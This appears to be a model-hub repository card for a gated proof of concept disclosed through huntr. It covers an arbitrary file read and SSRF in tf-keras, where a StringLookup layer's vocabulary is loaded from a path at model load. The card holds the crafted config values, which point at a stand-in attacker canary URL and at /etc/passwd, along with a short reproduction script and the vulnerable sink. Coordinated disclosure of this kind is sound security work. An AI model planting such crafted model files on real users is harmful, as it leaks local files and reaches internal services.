Ano1X8/tf-keras-vocabulary-lfi-ssrf-poc

⚠️ Security PoC — tf-keras .keras arbitrary file read + SSRF (GATED)

This gated repository contains crafted .keras model files used to demonstrate an arbitrary local file read (CWE-22) and SSRF (CWE-918) at model-load time in the tf-keras PyPI package (re-exported as tf.keras when TF_USE_LEGACY_KERAS=1). Uploaded solely for coordinated disclosure via huntr and access-gated to the triage team.

Artifacts

• malicious.keras — a .keras (zip) whose config.json has a StringLookup layer with "vocabulary": "http://ATTACKER-CANARY.example/ssrf" → SSRF variant.
• malicious_lfi.keras — same, with "vocabulary": "/etc/passwd" → arbitrary local read variant.

Threat model (huntr MFV)

A victim loads an untrusted / marketplace / user-uploaded .keras via the fully public tf.keras.models.load_model(). No extra action; survives safe_mode=True (that flag only gates Lambda).

Reproduce

import os; os.environ["TF_USE_LEGACY_KERAS"] = "1"
import tensorflow as tf                       # TF >= 2.16 with tf-keras installed
tf.keras.models.load_model("malicious.keras") # -> gfile hits http://ATTACKER-CANARY/ssrf
tf.keras.models.load_model("malicious_lfi.keras") # -> reads /etc/passwd into the vocab table

Sink: tf_keras/layers/preprocessing/index_lookup.py → set_vocabulary() passes the config string to tf.io.gfile.exists() (:484, resolves file:///http(s):///gs:///s3:// = SSRF) then _lookup_table_from_file() (:493, reads the whole file). The keras 3.11.4 fix (CVE-2025-12058) was never ported to tf-keras.

CWE-22 + CWE-918 · CVSS ~6.5–8.6 · High.